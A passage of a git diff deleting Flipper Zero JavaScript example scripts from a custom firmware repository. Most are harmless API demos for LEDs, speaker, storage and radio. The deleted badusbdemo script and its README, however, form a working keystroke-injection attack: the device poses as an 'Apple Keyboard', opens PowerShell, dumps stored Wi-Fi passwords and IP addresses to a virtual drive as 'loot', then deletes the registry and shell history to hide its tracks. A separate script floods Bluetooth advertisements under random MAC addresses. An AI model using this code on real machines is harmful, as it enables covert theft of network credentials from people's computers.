badusb.altPrint() - // which don't add the return at the end - - notify.success(); -} else { - print("USB not connected"); - notify.error(); -} - -// Optional, but allows to interchange with usbdisk -badusb.quit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md deleted file mode 100644 index 6bd494357..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md +++ /dev/null @@ -1,89 +0,0 @@ -# BadUSB - -[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) - -This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. - -## Overview summary -This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. - -This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. - -Many of these ideas are from the Momentum Discord server's script-sharing channel. I encourage you to check out the various scripts being shared there. - -## Detailed summary -This script will: - -- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. -- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. -- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. -- It will launch PowerShell on the connected computer (`Windows+x` then `i`). -- It creates a temporary directory on the computer and then switches to that directory. -- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. -- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. -- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. -- If playPayload is true, it will type commands to play the payload file on the computer. -- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. -- It will then type commands to eject the drive (signaling that the script is done). -- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. -- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. -- The `usbdisk` APIs will then attach the virtual USB disk image. -- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. -- The `usbdisk` APIs will detect the detach the virtual USB disk image. -- The `usbdisk` APIs will then stop the virtual USB disk image. -- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. -- Once the back button is pressed, the storage APIs will unmount the image. - -## Config -Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: - -- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. -- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. -- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. -- `script` array is the list of scripts to run. - - If it is empty, then the MP3 will be copied and played, but no scripts will be run. - - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. - - Your commands should save output into the `localFileName`. - - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). - - Commands should end with a comma. -- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). -- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). -- `payloadName` is the name of the payload file to copy and play. -- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. -- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. -- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. -- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. -- `image` is the name of the virtual USB disk image. You do not need to change this. -- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). -- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. -- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. - -## Setup - -- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. -- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). -- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). - -## Running - -- Make sure you have the latest dev firmware installed on your Flipper. -- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. -- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. -- The script will run and eventually disconnect the Flipper Zero from the computer. -- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). - -## Troubleshooting -- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. -- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 -- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. -- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. - -## Support - -If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. - -Support my work: -- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) -- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) -- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). -- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js deleted file mode 100644 index d89d23825..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js +++ /dev/null @@ -1,200 +0,0 @@ -// JavaScript demo of running Windows powershell scripts. This -// demo is based on lots of the previous scripts that were shared -// in the Momentum Discord channel. - -// The payloads in this script were demonstrated in -// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 -// -// The improvements are: -// - Populating the USB drive with payloads. -// - PowerShell polling for the USB drive to be attached. -// - Badusb using keyboard layouts (handling non-US keyboards). -// - Copying a file from USB to local drive. -// - Playing an MP3 file. -// - PowerShell ejecting the USB drive when done. -// - Displaying the results on the Flipper screen. - -// For documentation on configuration see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md - -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); -let textbox = require("textbox"); - -// ************ -// IMPORTANT: Be sure this matches your computer keyboard layout!!! -// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. -let layout = "en-US"; - -// Local file to store system information. -let localTempFolder = "flipper"; -let localFileName = "info.txt"; - -// Update this script to include the commands you want to run. -let script = [ - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> " + localFileName + ";", - "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", - // "dir env: >> " + localFileName + ";", -]; - -// Payload to copy from the SD card to the USB drive. -let copyPayload = true; -let playPayload = true; -let payloadName = "demo.mp3"; -let payloadSrcName = __dirpath + "/payloads/" + payloadName; -let payloadDstName = "/mnt/" + payloadName; - -// All the loot will be stored in this file. -let lootFile = __dirpath + "/loot.txt"; - -// Image to store payloads and results. -let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). -let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; -let flipperStorageName = "Flipper Mass Storage"; - -// Folder and file to store the results on SD card. -let resultFolder = "results"; -let resultFileName = "info.txt"; - -print("Checking for Image..."); -if (storage.exists(image)) { - storage.remove(image); -} -print("Creating Storage..."); -usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); - -if (copyPayload) { - print("Copying Payload...") - storage.virtualInit(image); - storage.virtualMount(); - storage.copy(payloadSrcName, payloadDstName); - storage.virtualQuit(); -} - -badusb.setup({ - vid: 0x1234, - pid: 0x5678, - mfr_name: "Apple", - prod_name: "Keyboard", - layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" -}); -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -// Launch powershell -print("Launching powershell"); -delay(3000); -badusb.press("GUI", "x"); -delay(500); -badusb.press("i"); -delay(3000); - -print("Running commands"); -badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); -for (let i = 0; i < script.length; i++) { - badusb.print(script[i]); -} -badusb.press("ENTER"); -badusb.press("ENTER"); - -// Wait for attached drive, assign to $DriveLetter -badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); -badusb.print(" do {"); -badusb.print(" Start-Sleep 1;"); -badusb.print(" $Disks = Get-Disk;"); -badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); -badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); -badusb.print(" } while ($DiskNumber -lt 0);") -badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); - -// Copy file from USB drive locally. -if (copyPayload) { - badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); - badusb.print(" Copy-Item -Path $Payload;"); -} - -// Play the MP3 payload file. -if (playPayload) { - badusb.print("Add-Type -AssemblyName presentationCore;"); - badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); - badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); - badusb.print(" $song = $song+'\\" + payloadName + "';") - badusb.print(" $mediaPlayer.open($song);"); - badusb.print(" $mediaPlayer.Play();"); -} - -// Move file onto SD card -if (script.length > 0) { - badusb.print(" $LocalFile = '" + localFileName + "';"); - badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); - badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); - badusb.print(" Start-Sleep 1;"); -} - -// Eject drive -badusb.print(" $eject = New-Object -comObject Shell.Application;"); -badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); - -// Hide tracks -badusb.print(" cd ..;"); -badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); -badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); -badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); -badusb.press("ENTER"); -delay(500); - -// Close window & detach keyboard -badusb.press("ENTER"); -badusb.print(" Start-Sleep 10; exit"); -badusb.press("ENTER"); -badusb.quit(); - -// Wait for badusb to finish typing. -print("Waiting for typing to finish..."); -delay(5 * 1000); - -// Attach storage -print("Attaching storage..."); -usbdisk.start(image); - -// Wait for storage to be detached from script -print("Waiting for storage to detatch..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -usbdisk.stop(); - -// Done -print("Detached disk."); -delay(1000); - -// Mount and display loot -if (script.length > 0) { - print("Reading loot..."); - storage.virtualInit(image); - storage.virtualMount(); - delay(1000); - let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); - textbox.setConfig("start", "text"); - textbox.clearText(); - let data_view = Uint8Array(data); - for (let i = 0; i < data_view.length; i++) { - textbox.addText(chr(data_view[i])); - } - data_view = undefined; - textbox.addText("\n"); - textbox.show(); - print("Copying to loot file."); - storage.append(lootFile, data); - print("Displaying results."); - while (textbox.isOpen()) { - delay(1000); - } - textbox.clearText(); - storage.virtualQuit(); -} - -print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js deleted file mode 100644 index 53983a745..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js +++ /dev/null @@ -1,59 +0,0 @@ -let blebeacon = require("blebeacon"); - -// Stop if previous background beacon is active -if (blebeacon.isActive()) { - blebeacon.stop(); -} - -// Make sure it resets at script exit, true will keep advertising in background -// This is false by default, can be omitted -blebeacon.keepAlive(false); - - -let math = require("math"); - -let currentIndex = 0; -let watchValues = [ - 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, - 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, - 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, - 0x20, 0xEC, 0xEF -]; - -function generateRandomMac() { - let mac = []; - for (let i = 0; i < 6; i++) { - mac.push(math.floor(math.random() * 256)); - } - return Uint8Array(mac); -} - -function sendRandomModelAdvertisement() { - let model = watchValues[currentIndex]; - - let packet = [ - 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, - model - ]; - - let intervalMs = 50; - - // Power level, min interval and max interval are optional - blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); - - blebeacon.setData(Uint8Array(packet)); - - blebeacon.start(); - - print("Sent data for model ID " + to_string(model)); - - currentIndex = (currentIndex + 1) % watchValues.length; - - delay(intervalMs); - - blebeacon.stop(); -} - -while (true) { - sendRandomModelAdvertisement(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js deleted file mode 100644 index 06d394c53..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js +++ /dev/null @@ -1,5 +0,0 @@ -print("print", 1); -console.log("log", 2); -console.warn("warn", 3); -console.error("error", 4); -console.debug("debug", 5); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js deleted file mode 100644 index c63877f8e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js +++ /dev/null @@ -1,36 +0,0 @@ -let gpio = require("gpio"); -let pins = ["PA7", "PA6", "PA4", "PB3", "PB2", "PC3"]; -for (let i=0; i 0) { - print("!!!", failed, "Unit tests failed !!!"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js deleted file mode 100644 index 20f60c732..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js +++ /dev/null @@ -1,9 +0,0 @@ -let notify = require("notification"); -notify.error(); -delay(1000); -notify.success(); -delay(1000); -for (let i = 0; i < 10; i++) { - notify.blink("red", "short"); - delay(500); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js deleted file mode 100644 index 0381150d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js +++ /dev/null @@ -1,9 +0,0 @@ -let storage = require("storage"); - -print("script has __dirpath of" + __dirpath); -print("script has __filepath of" + __filepath); -if (storage.exists(__dirpath + "/math.js")) { - print("math.js exist here."); -} else { - print("math.js does not exist here."); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js deleted file mode 100644 index d0ad5f344..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js +++ /dev/null @@ -1,62 +0,0 @@ -// SK9822 RGB LED strip example - -let gpio = require("gpio"); -gpio.init("PC3", "outputPushPull", "no"); // pin, mode, pull -print("PC3 is clock"); -gpio.init("PA7", "outputPushPull", "no"); // pin, mode, pull -print("PA7 is data"); - -function writeByte(data) { - for (let i = 0; i < 8; i++) { - let mask = 1 << (7 - i); - gpio.write("PA7", (data & mask) === mask); - gpio.write("PC3", true); - gpio.write("PC3", false); - } -} - -function writeStart() { - writeByte(0); - writeByte(0); - writeByte(0); - writeByte(0); -} - -function writeStop(b) { - writeByte(b); - writeByte(b); - writeByte(b); - writeByte(b); -} - -function writeColor(r, g, b, i) { - writeByte(0xE0 | (i & 31)); - writeByte(b); - writeByte(g); - writeByte(r); -} - - -// read value from PC1 and write it to PC3 -let maxIntensity = 31; -let intensity = 0; -while (true) { - writeStart(); - writeColor(255, 0, 0, intensity); - writeColor(0, 255, 0, intensity); - writeColor(0, 0, 255, intensity); - writeColor(255, 255, 255, intensity); - writeColor(255, 255, 0, intensity); - writeColor(255, 0, 255, intensity); - writeColor(0, 255, 255, intensity); - writeColor(1, 0, 0, intensity); - writeColor(4, 0, 0, intensity); - writeColor(16, 0, 0, intensity); - writeColor(64, 0, 0, intensity); - writeStop(0); - delay(20); - intensity++; - if (intensity > maxIntensity) { - intensity = 1; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js deleted file mode 100644 index bca6c4c96..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js +++ /dev/null @@ -1,40 +0,0 @@ -// By jamisonderek -// For documentation on this API's use, see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ -({ - _acquired: false, - _acquire: ffi("int furi_hal_speaker_acquire(int)"), - _release: ffi("void furi_hal_speaker_release(void)"), - start: ffi("void furi_hal_speaker_start(float, float)"), - stop: ffi("void furi_hal_speaker_stop(void)"), - acquire: function (timeout) { - if (!this._acquired) { - this._acquired = this._acquire(timeout); - } - return this._acquired; - }, - acquired: function () { - return this._acquired; - }, - release: function () { - if (this._acquired) { - this._release(); - this._acquired = false; - } - }, - play: function (frequency, volume, duration) { - let already_acquired = this.acquired(); - if (!already_acquired) { - this.acquire(1000); - }; - if (this.acquired()) { - this.start(frequency, volume); - delay(duration); - this.stop(); - } - if (!already_acquired) { - this.release(); - } - }, -} -) \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md deleted file mode 100644 index ddd9b6d82..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Speaker - -A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. - -## How to use -Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). - -NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: -```js -let Speaker = load("/ext/apps/Scripts/speaker_api.js"); -``` - -For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( -https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js deleted file mode 100644 index 3ba2f25e1..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js +++ /dev/null @@ -1,4 +0,0 @@ -let Speaker = load(__dirpath + "/speaker_api.js"); - -Speaker.play(440, 1.0, 500); -Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js deleted file mode 100644 index fd2ba4a4f..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js +++ /dev/null @@ -1,46 +0,0 @@ -let storage = require("storage"); -let path = "/ext/storage.test"; - -function arraybuf_to_string(arraybuf) { - let string = ""; - let data_view = Uint8Array(arraybuf); - for (let i = 0; i < data_view.length; i++) { - string += chr(data_view[i]); - } - return string; -} - -print("File exists:", storage.exists(path)); - -print("Writing..."); -// write(path, data, offset) -// If offset is specified, the file is not cleared, content is kept and data is written at specified offset -// Takes both strings and array buffers -storage.write(path, "Hello "); - -print("File exists:", storage.exists(path)); - -// Append will create the file even if it doesnt exist! -// Takes both strings and array buffers -storage.append(path, "World!"); - -print("Reading..."); -// read(path, size, offset) -// If no size specified, total filesize is used -// If offset is specified, size is capped at (filesize - offset) -let data = storage.read(path); -// read returns an array buffer, to allow proper usage of raw binary data -print(arraybuf_to_string(data)); - -print("Removing...") -storage.remove(path); - -print("Done") - -// There's also: -// storage.copy(old_path, new_path); -// storage.move(old_path, new_path); -// storage.mkdir(path); -// storage.virtualInit(path); -// storage.virtualMount(); -// storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js deleted file mode 100644 index 51781328d..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js +++ /dev/null @@ -1,19 +0,0 @@ -let sampleText = "Hello, World!"; - -let lengthOfText = "Length of text: " + to_string(sampleText.length); -print(lengthOfText); - -let start = 7; -let end = 12; -let substringResult = sampleText.slice(start, end); -print(substringResult); - -let searchStr = "World"; -let result2 = to_string(sampleText.indexOf(searchStr)); -print(result2); - -let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); -print(upperCaseText); - -let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); -print(lowerCaseText); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js deleted file mode 100644 index b5e54bac6..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js +++ /dev/null @@ -1,45 +0,0 @@ -let subghz = require("subghz"); -subghz.setup(); - -function printRXline() { - if (subghz.getState() !== "RX") { - subghz.setRx(); // to RX - } - - let rssi = subghz.getRssi(); - let freq = subghz.getFrequency(); - let ext = subghz.isExternal(); - - print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); -} - -function changeFrequency(freq) { - if (subghz.getState() !== "IDLE") { - subghz.setIdle(); // need to be idle to change frequency - } - subghz.setFrequency(freq); -} - -subghz.setIdle(); -print(subghz.getState()); // "IDLE" -subghz.setRx(); -print(subghz.getState()); // "RX" - -changeFrequency(433920000); -printRXline(); -delay(1000); - -print("Sending 0.sub") -subghz.transmitFile("/ext/subghz/0.sub"); -// Can also specify repeat count: subghz.transmitFile(path, repeat) -// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed -// These 10 repeats by default are to simulate holding the button on remote -print("Send success"); -delay(1000); - -changeFrequency(315000000); -printRXline(); - -// Optional, done automatically at script end -subghz.end() -// But can be used to setup again, which will retry to detect external modules \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js deleted file mode 100644 index 245551309..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js +++ /dev/null @@ -1,11 +0,0 @@ -let submenu = require("submenu"); - -submenu.addItem("Item 1", 0); -submenu.addItem("Item 2", 1); -submenu.addItem("Item 3", 2); - -submenu.setHeader("Select an option:"); - -let result = submenu.show(); -// Returns undefined when pressing back -print("Result:", result); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js deleted file mode 100644 index 6caf37234..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js +++ /dev/null @@ -1,30 +0,0 @@ -let textbox = require("textbox"); - -// You should set config before adding text -// Focus (start / end), Font (text / hex) -textbox.setConfig("end", "text"); - -// Can make sure it's cleared before showing, in case of reusing in same script -// (Closing textbox already clears the text, but maybe you added more in a loop for example) -textbox.clearText(); - -// Add default text -textbox.addText("Example dynamic updating textbox\n"); - -// Non-blocking, can keep updating text after, can close in JS or in GUI -textbox.show(); - -let i = 0; -while (textbox.isOpen() && i < 20) { - print("console", i++); - - // Add text to textbox buffer - textbox.addText("textbox " + to_string(i) + "\n"); - - delay(500); -} - -// If not closed by user (instead i < 20 is false above), close forcefully -if (textbox.isOpen()) { - textbox.close(); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md deleted file mode 100644 index ea1ed54cb..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md +++ /dev/null @@ -1,35 +0,0 @@ -# vgm_sensor tutorial - -This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. - -Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. - -The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. - -Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). - -## Prebuilt apps -You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. - -## Installing the JS speaker_api module -We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) - -## Installing the C (js_vgm) module -To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. - -To add the native C module to your firmware: -- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. -- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. -- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: -```c -App( - appid="js_vgm", - apptype=FlipperAppType.PLUGIN, - entry_point="js_vgm_ep", - requires=["js_app"], - sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], -) -``` -- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) - -NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js deleted file mode 100644 index 6027098df..000000000 --- a/Applications/Custom (UL, 